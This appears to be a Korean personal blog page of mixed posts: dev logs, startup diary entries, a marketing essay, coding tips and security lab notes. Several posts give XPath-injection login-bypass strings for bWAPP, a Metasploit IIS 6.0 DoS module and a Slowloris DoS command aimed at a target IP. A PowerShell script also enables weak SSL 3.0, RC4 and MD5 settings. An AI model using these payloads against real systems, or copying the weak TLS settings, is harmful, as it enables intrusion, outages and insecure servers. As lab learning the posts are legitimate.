메뉴 건너뛰기

imp

zbxe 작업일지(12일차)

박영식2007.12.23 13:37조회 수 1996댓글 0

    • 글자 크기
1. insert.php 수정
  - role모델의 db값 직접 select한 query로 개선
  - while문을 이용하지 않고, 마지막에 mysql_query로 실행
2. 블로그 스킨/기능 수정
  - 메뉴 삽입
  - 권한 완화
3. proto.php 생성
  - 노드 좌표를 기준 값과 노드 순서에 따라 설정
박영식 (비회원)
    • 글자 크기

댓글 달기

economist에 광고하는 Korea Air Line

[원문보기]
 금호 아시아나는 봉사활동 하던데......

 항공사들이 눈에 들어온다.

zbxe 작업일지(3일차)

[원문보기]
1. simple.php 제작
  - 보기 모드
  - '플래닝 보기' 페이지에 링크 추가
2. mashup 페이지 제작
  - 최근 게시글 출력(자신글, 관련글)

IBM DEVELOPER WORKS 대학생 모니터 요원 모집

[원문보기]
http://www-128.ibm.com/developerworks/kr/news/inform/s_c/

IBM에서 운영하는 DW의 모니터 요원 2기 모집이다. 하고 싶다.

제로보드 작업(15일차)

[원문보기]
FF용 pse 제작 시작

 프로그래밍은 검색이다라는 말을 본 적이 있다. 정말 인 것 같다. 매우 훌륭한 답들을 찾을 수 있으니 말이다.

document.getElementById … has no properties


This isn't a big deal, but it was something I was fighting with for a bit. If you're trying to set the properties of a DIV via javascript, and you're getting the "document.getElementById("mydiv") has no properties" javascript warning, there's probably two big things that will cause it.


1) you didn't set the id.
Go back and make sure your div has id="mydiv" (or whatever you named it) in there.


2) the javascript is running BEFORE the div has been defined in the code.
This is what got me. I had the javascript code just above where the div was... and at load time, that div doesn't exist yet... the browser hasn't gotten that far down the page yet, so as far as it's concerned, that div with that id, doesn't exist. Once I moved the javascript BELOW the div... all was well.


And actually here - they suggest calling it on onload.

웹 마케터 !!!

[원문보기]
인터넷을 기반으로 하는 업종들을 살펴보면 그 종류가 어느 순간부터인가 점차 늘어나고 있으며 그들의 역할이 점차 세분화, 전문화되는 양상을 보이고 있다. 하지만 이러한 인터넷 직종의 분류는 소규모 벤처를 꾸려나가는 이들에게는 그리 중요한 의미를 갖지 않는 것 같다.

이들 소규모 회사들은 소수의 인원으로 "기업"이라는 이름이 갖추어야할 수많은 일들을 A에서 Z까지를 다 해나가야 하기 때문이다. 특히나 수익을 목표로 하지 않고 단순히 기업홍보나 안내정도에 그치는 홈페이지의 경우에는 그 관리인력이 한 두사람으로 한정되어 있고 이들을 통해 근근히 그 모양 갖추기에 급급한 실정이기 때문이다.

그러나 이러한 사이트와는 대조적으로 확실한 자본금을 기반으로 철저하게 계획되고 준비되어진 사업계획 하에 다양하고 전문화된 인력구성원들이 함께 하는 기업은 소규모 중소기업이 겪는 여러 어려움에 비해서 순풍에 돛을 단 듯 그 미래가 순조로우며 거침이 없을 것이라 짐작할 수 있다. 물론 그렇다고 해서 그러한 기업이 모두 성공한다는 보장은 없다. ^^


여기서의 철저하게 계획되고 준비되어진 사업계획이란 특화된 주제분야를 다루는 사업계획이거나 그 누구도 구현할 수 없는 신기술로 집약된 사업계획이 그것일 것이다. 또 다양하고 전문화된 인력구성이라 함은 시장조사와 분석, 기본자료수집, 기획 및 전체 계획을 잡는 사람, 기획된 상세 설계대로 시스템 구현을 가능하게 하는 사람, 잘 만들어진 사업(상품)을 널리 홍보하며 이러한 사업이 계속 지속되게 하기 위해서 열심히 자금을 끌어 모아 올 수 있는 사람들이 그들일 것이다.

오늘 이 코너에서는 성공적인 웹사이트를 만들기 위해 물심양면으로 온라인과 오프라인을 구분하지 않고 최전선에서 열심히 뛰고 있는 "웹마케터"란 직종에 대해서 이야기를 나누고자 한다.

재 많은 기업들은 "웹마케터"라는 직종으로 해당 인원을 충원하는 경우는 거의 드물고 홍보와 마케팅에 발을 담그고 있었거나 그와 유사한 일을 해본 경험이 있는 사람들을 중심으로 인재를 뽑고 그들로 하여금 웹마케터가 해야할 일들을 던져주며 실전 경험을 쌓게 함으로 그들을 키워(?)가고 있다.

그럼 웹마케터가 하는 일은 과연 무엇이며 그들을 통해 이루어지는 일들은 무엇인지 살펴보자. 또 그들이 갖추어야할 기본 자질과 능력, 유능한 웹마케터가 되기 위해서 끊임없이 준비하고 노력해야 할 일들도 이번 기회를 통해 다시 한번 정리해보도록 하자.

"웹마케터"란 단어에서 풍기는 느낌 그대로 웹을 기반으로 마케팅을 펼치는 사람이라고 단순히 그 의미를 펼쳐볼 수 도 있고 실제로 웹마케터의 일을 하고 있다는 사람들의 입을 통해 나오는 실제의 경험담을 통해 그들의 일을 간접적으로 간음해 볼 수 있을 것이다.



1. 웹마케터가 하는일?

웹마케터는 웹 비즈니스의 3요소인 커뮤니티, 컨텐츠, 커머스를 활성화하기 위해 사이버상의 마케팅 활동을 전담한다. 마케터는 컨텐츠 기획 및 구축을 함께 지원하고 사업분야의 선정 및 그 사업을 구체화시키는 능력(시장 분석능력, 사업의 Vision 부여 능력, Vision에 의한 사업 Item의 개발 및 우선순위 결정능력)이 있어야 한다. 또 Target User의 선정부분도 마케터가 하는 일이며 일정기간 쌓이는 웹로그를 분석하여 사용자의 흐름을 읽고 이것을 사이트에 적극적으로 반영하는 일도 한다. 또한 오프라인과 온라인의 광고, 홍보, 이벤트 계획 및 실행을 총괄하며 기업의 이윤창출을 위해 최전선에서 뛰어야 하는 사람이다. 이러한 모든 일들은 웹마케터라는 타이틀을 가진 사람만이 꼭 해야하며 할 수 있다는 것은 아니며 하나의 목적으로 구성되어진 팀원들의 도움으로 함께 이뤄나가는 것임을 전제한다.

참고) 웹브랜드마케터란?
웹브랜드마케터는 웹 상에서 CF광고나 웹 프로모션, 배너광고 등을 총괄하여 회사의 이미지를 홍보하는 일들을 맡고 있다. 오프라인과 비교해 볼때 기업체 홍보실과 같은 역할과 기능을 담당한다고 보면 쉬울 것 같다. 웹브랜드마케터의 자질을 보면 인터넷 전반의 트랜드를 꿰뚫고 있어야 하고 홍보와 기획, 사업 개발 부분을 총괄적으로 담당할 수 있어야 한다.

[SSL] SSL 설정 파워쉘 스크립트

[원문보기]

4년 전 거라 조금 수정이 필요한 부분이 있다.

 

키 교환의 Diffie-Hellman는 0000000000 으로 

 

TLS 1.3의 출시로 SSL ROBOT이 주목되는지는 모르겠지만, 키 교환과 암호화 방식, 검증 방식에 대해 가장 잘 설명된 그림을 찾았다.

 

2017-07-29_14-29-10.png

 

 

rsa.jpg

 

 

윈도우즈 설정 참고 사이트

https://support.microsoft.com/ko-kr/help/245030/how-to-restrict-the-use-of-certain-cryptographic-algorithms-and-protoc

 

TLS 1.0과 RSA가 키교환 알고리즘으로 사용되는 서버의 예이다.

 

아래 파워쉘 스크립트를 이용해 설정을 보완할 수 있는데, 선택적으로 필요한 것을 적용하면, 취약점 제거에 용이할 것이다.

 

공개 키 암호 표준(Public-Key Cryptography Standard, PKCS)은 RSA 시큐리티에서 정한, 공개 키 암호에 대한 사용 방식에 대한 표준 프로토콜이다.

md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0x00000000' -PropertyType 'DWord' -Force

 

$cipherSuitesOrder = @(  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256','TLS_RSA_WITH_AES_256_CBC_SHA256','TLS_RSA_WITH_AES_256_CBC_SHA','TLS_RSA_WITH_AES_128_CBC_SHA256','TLS_RSA_WITH_AES_128_CBC_SHA')

$cipherSuitesAsString = [string]::join(',', $cipherSuitesOrder)

New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value $cipherSuitesAsString -PropertyType 'String' -Force | Out-Null

 

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0x00000000' -PropertyType 'DWord' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force

 

 

기존 파워쉘 스크립트는 오래되어 수정이 필요하다.

 

https://gist.github.com/matejskubic/10268126

 

 

### http://www.hass.de/content/setup-your-iis-ssl-perfect-forward-secrecy-and-tls-12

# Add and Enable SSL 3.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.1 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.2 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Disable Multi-Protocol Unified Hello
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable PCT 1.0
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable SSL 2.0 (PCI Compliance)
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
#DO NOT USE FOR NOW
#
# WARNING: Notice I didn't turn off SSL 3.0 - the reason for this is due to the fact that, like it or not, 
# there are still people out there using Windows XP with IE 6/7. Without SSL 3.0 enabled, there would be 
# no protocol for those people to fall back on.
# Disable SSL 3.0 (PCI Compliance)
#
#md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
#New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable insecure ciphers
$insecureCiphers = 'NULL','RC2 40/128','RC2 56/128','RC2 128/128','RC4 40/128','RC4 56/128','RC4 64/128','DES 56/56'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  $key.SetValue('Enabled', 0, 'DWord')
  $key.close()
  Write-Host "$insecureCipher has been disabled"
}
 
# Enable new secure ciphers
$insecureCiphers = 'RC4 128/128','Triple DES 168/168','AES 128/128','AES 256/256'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  New-ItemProperty -path "HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers$insecureCipher" -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
  $key.close()
  Write-Host "$insecureCipher has been enabled"
}
 
# Set hashes configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set KeyExchangeAlgorithms configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set cipher suites order as secure as possible (Enables Perfect Forward Secrecy)
New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA,TLS_DHE_DSS_WITH_AES_128_CBC_SHA256,TLS_DHE_DSS_WITH_AES_128_CBC_SHA,TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_3DES_EDE_CBC_SHA' -PropertyType 'String' -Force
 
 
Write-Host 'After the system has been rebooted you can verify your server configuration at https://www.ssllabs.com/ssltest/'
Write-Host -ForegroundColor Red 'A computer restart is required to apply settings. Restart computer now?'
Restart-Computer -Force -Confirm

zbxe 작업일지(10일차)

[원문보기]
1. syn_sch.php 수정
  - 검색결과를 보여주고, 결과로 나온 유저의 플랜 링크 수정
2. planning.php와 xe_official 내용 수정
  - 합성도 보기 메뉴와 mid값에 따른 보여주기 결과 표시.
3. simple.php 수정
  - vector의 색을 설정 값에 따른 색으로 보여줌.

창업일지 - 부가통신사업신고필증 수령

[원문보기]
1. 정보통신부 인터넷 민원을 통해 서울 체신청으로 부터 수령하였다.

창업일지 - 면허세 납부

[원문보기]
1. 4종 부가통신사업
2. 1종 통신판매업

아직 수입이 없는데 세금만 내고 있다.
etax 사이트에서 바로 조회가 되고, 보안카드 없이 인증서로만 은행계좌 연동후 결제가 가능하다. 액티브 x의 압박이 있으나, 견딜만 하다.

아, 세....

[backtrack] ms10_065_ii6_asp_dos

[원문보기]

iis 6.0 취약점을 이용한 공격


    <%

        Dim variable

        variable = Request.Form("FOOBAR")

    %

위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.


URI default 값은 page.asp 이다.

https://github.com/OpenWireSec/metasploit/blob/master/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb


1.PNG



2.PNG


Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.

http://www.exploit-db.com/exploits/15167/

창업일지 - 창업경진대회 출전

[원문보기]

정보통신벤처창업경진대회에 많은 관심과 성원을 보내주셔서 대단히 감사드립니다.
지난 3월 14일에 마감된 제안서 대상으로, 3월 27일 전문심사위원 28명의 심사결과, 107명이 1차 선발되었습니다.<붙임 참조> 1차 선발된 107명은 4월 14일~17일(3박4일) 창업예비교육에 반드시 참석하여 주시기 바랍니다.(팀원 및 대리참석 가능)


o 1차 창업 아이템 제안서 심사결과
- 멀티미디어컨텐츠 분과 : 접수 58편, 1차 합격 29편
- 정보통신서비스 분과 : 접수 116편, 1차 합격 29편
- 소프트웨어 분과 : 접수 57편, 1차 합격 24편
- 기기및부품 분과 : 접수 73편, 1차 합격 25편


o 1차 합격자는 5月 5日까지 사업계획서를 제출 하시기 바랍니다.


<창업예비교육 개최 안내> o 1차 선발자 대상 교육
- 기간 : 2008. 4. 14(월)~ 17(목)(3박4일)
- 장소 : 충주 건설경영연수원
- 참가대상 : 1차 선발자 107명
- 팀당 2명까지 신청 가능합니다.
* 1차 선발자에 한하여 교육 프로그램 및 일정을 이메일로 연락드릴 예정입니다.


*** 일부 지원자 중 접수분과와 상의한 이유는 '08. 3. 19 개최 된 지원분야 재분류 회의에 따라 변동이 되었습니다.

PSAT(Public Service Aptitude Test)

[원문보기]

공기업 채용때 PSAT 도입


 



[서울신문]이르면 올 하반기부터 공공기관 채용시험에도 공직적성평가(PSAT)가 도입될 전망이다.


또 PSAT와 같은 직무능력 검사 비중이 높아지고, 토익·토플 등 어학 성적 비중은 떨어진다.


기획예산처는 1일 이같은 내용의 ‘공공기관 채용방식 개선방안’을 마련, 올 하반기부터 적용한다고 밝혔다.


대상 기관은 우선 101개 공기업·준정부기관이며,197개 기타공공기관으로도 확대할 계획이다.


개선 방안에 따르면 어학 성적은 지원을 위한 최소한의 자격 기준으로만 활용된다. 어학시험 성적이 최종 합격의 결정적 기준이 되면 우수한 인재를 놓칠 수 있다는 판단에서다.


대신 직무능력검사가 도입되고, 면접이 강화된다. 특히 직무능력 검사과목으로는 PSAT 또는 PSAT와 유사한 모델이 검토되고 있다.


기획처 관계자는 “중앙인사위원회와 협의를 거쳐 이르면 올 하반기부터 희망 기관에 한해 PSAT를 활용할 수 있도록 지원할 계획”이라면서 “이와는 별도로 PSAT와 유사한 형태의 직무능력검사 모델 개발도 검토할 것”이라고 설명했다.


또 각 기관들은 국가 유공자, 장애인, 여성, 지방 인재 등에 대한 목표 채용 비율을 스스로 설정, 준수토록 할 방침이다. 이와 함께 오는 6월 말까지 각 기관들은 올 하반기 채용 규모·시기·방법 등의 정보를 ‘공공기관 경영정보 공개시스템’에 공개한다.


장세훈기자 shjang@seoul.co.kr


■ 용어 클릭


●PSAT(Public Service Aptitude Test) 공직 수행에 필요한 기본 지식과 소양, 자질 등을 평가하는 시험이다.2004년 외무고시 1차시험에 처음 적용됐으며, 올해부터 행정·외무·입법고시 등 모든 국가고시 1차 시험에도 채택됐다. 언어논리·자료해석·상황판단 등 3개 영역으로 구성돼 있다.

[oAuth2] 구글 스프레드시트 접근

[원문보기]

기존 data query 로 visualization 을 사용하던 코드에서


Error in query: ACCESS_DENIED. This spreadsheet is not publicly viewable and requires an OAuth credential.


상기와 같은 에러가 발생한다면, 아래를 통해 authorization 관련 내용을 추가해야 한다.


https://developers.google.com/chart/interactive/docs/spreadsheets


demo.html, demo.js 로 적용 가능하며, 개발자 콘솔에서 client id를 생성하여 해당 문서들에 적용해야 한다.


1) 프로젝트가 없다면 생성

2) 사용자 인증정보 선택

3) 사용자 인증정보 만들기 - OAuth 2.0 클라이언트 ID

도메인 입력(최상단 도메인으로 하면 된다.)


demo.js 의 makeApiCall() 함수에서 oauth2 라는 전역 변수에 추가 파라미터를 입력하고


function makeApiCall() {
  // Note: The below spreadsheet is "Public on the web" and will work
  // with or without an OAuth token.  For a better test, replace this
  // URL with a private spreadsheet.
  var tqUrl = 'https://docs.google.com/spreadsheets' +
      '/d/[SS경로]/gviz/tq' +
      '?tqx=responseHandler:handleTqResponse' +
      '&access_token=' + encodeURIComponent(gapi.auth.getToken().access_token);
  oauth2 = '&tqx=responseHandler:handleTqResponse' + '&access_token=' + encodeURIComponent(gapi.auth.getToken().access_token);
  $(window.document.body).append('<script src="' + tqUrl +'" type="text/javascript"></script>');
}



기존 visualization data query 호출 경로에 access_token 파라미터가 추가되도록 했다.


var srUrl = "https://docs.google.com/spreadsheets/d/[SS경로]/gviz/tq?gid=0"+oauth2;



오랜만에 다시하려니, 설명이 부족해 조금 더 추가함


문서에 들어갈 소스
  <button id="authorize-button" style="visibility: hidden">Authorize</button>
  <script src="./demo.js" type="text/javascript"></script>
  <script src="https://apis.google.com/js/auth.js?onload=init"></script>
    <script src="[J쿼리경로]" type="text/javascript"></script> 
<script>데이터쿼리함수</script>


[demo.js]

// NOTE: You must replace the client id on the following line.
var clientId = '발급받은ID';
var scopes = 'https://spreadsheets.google.com/feeds';

function init() {
  gapi.auth.authorize(
      {client_id: clientId, scope: scopes, immediate: true},
      handleAuthResult);
}

function handleAuthResult(authResult) {
  var authorizeButton = document.getElementById('authorize-button');
  if (authResult && !authResult.error) {
    authorizeButton.style.visibility = 'hidden';
    makeApiCall();
  } else {
    authorizeButton.style.visibility = '';
    authorizeButton.onclick = handleAuthClick;
  }
}

function handleAuthClick(event) {
  gapi.auth.authorize(
      {client_id: clientId, scope: scopes, immediate: false},
      handleAuthResult);
  return false;
}

function makeApiCall() {
  // Note: The below spreadsheet is "Public on the web" and will work
  // with or without an OAuth token.  For a better test, replace this
  // URL with a private spreadsheet.
  var tqUrl = 'https://docs.google.com/spreadsheets' +
      '/d/[SS경로]/gviz/tq' +
      '?tqx=responseHandler:handleTqResponse' +
      '&access_token=' + encodeURIComponent(gapi.auth.getToken().access_token);
  oauth2 = '&tqx=responseHandler:handleTqResponse' + '&access_token=' + encodeURIComponent(gapi.auth.getToken().access_token);
  $(window.document.body).append('<script src="' + tqUrl +'" type="text/javascript"></script>');
}

function handleTqResponse(resp) {
데이터쿼리함수();
}

[bWAPP] XML/XPath Injection (Login Form)

[원문보기]

A1 - Injection

XML/XPath Injection (Login Form)



로그인 ID, PW 에 ' or '1'='1 을 넣으면 된다.


A1-XPATH-LOG.PNG


selene, Thor, johnny, wolverine, alice

wolverine' or 'a'='a--

[Perl] RUDY, Slowloris 공격

[원문보기]

http://advent.perl.kr/2012/2012-12-17.html

 

DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.

 

해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.

 

$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More

 

참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.

 

cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)

 

# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]

 

을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.

 

1.jpg

 

와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.

 

2.jpg

 

 

웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.

 

1.jpg

 

 

실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.

 

